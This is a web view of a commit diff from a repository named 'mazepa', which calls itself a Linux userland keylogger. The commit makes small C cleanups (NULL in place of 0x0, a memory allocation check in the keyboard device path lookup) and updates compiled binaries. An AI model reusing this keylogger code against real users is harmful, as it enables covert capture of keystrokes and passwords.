mazepa.git


mazepa

~ linux userland keylogger
git clone https://github.com/djnnvx/mazepa.git
log | files | refs | archive | README


6 files changed, 10 insertions(+), 4 deletions(-)

diff --git a/logger/binaries/cleaned b/logger/binaries/cleaned
Binary files differ.
diff --git a/logger/binaries/compressed b/logger/binaries/compressed
Binary files differ.
diff --git a/logger/binaries/default b/logger/binaries/default
Binary files differ.
diff --git a/logger/binaries/stripped b/logger/binaries/stripped
Binary files differ.
diff --git a/logger/sources/get_keyboard.c b/logger/sources/get_keyboard.c
@@ -28,16 +28,22 @@ int *get_keyboard_paths(int logfd)
 {
     struct dirent **char_devices = 0x0;
     int possible_paths = scandir(DIR_PATH, &char_devices, &is_keyboard, &alphasort);
-    int *result = 0x0;
-    char *rpath = 0x0;
+    int *result = NULL;
+    char *rpath = NULL;
 
     if (possible_paths == -1 || chdir(DIR_PATH) < 0) {
         dprintf(logfd, "Error:%s\n", strerror(errno));
-        return 0x0;
+        return NULL;
     }
 
     rpath = malloc(sizeof(char) * BUFFER_SIZE);
     result = malloc(sizeof(int) * (possible_paths + 1));
+
+    if (!rpath || !result) {
+        dprintf(logfd, "Error: could not allocate memory.\n");
+        return NULL;
+    }
+
     result[possible_paths] = -1;
 
     for (int ctr = -1; ++ctr < possible_paths;) {
diff --git a/logger/sources/random_functions.c b/logger/sources/random_functions.c
@@ -67,6 +67,6 @@ void sigtrap_handler(int code)
 void sigchild_handler(int code)
 {
     (void)code;
-    while (waitpid(-1, 0x0, WNOHANG) > 0);
+    while (waitpid(-1, NULL, WNOHANG) > 0);
 }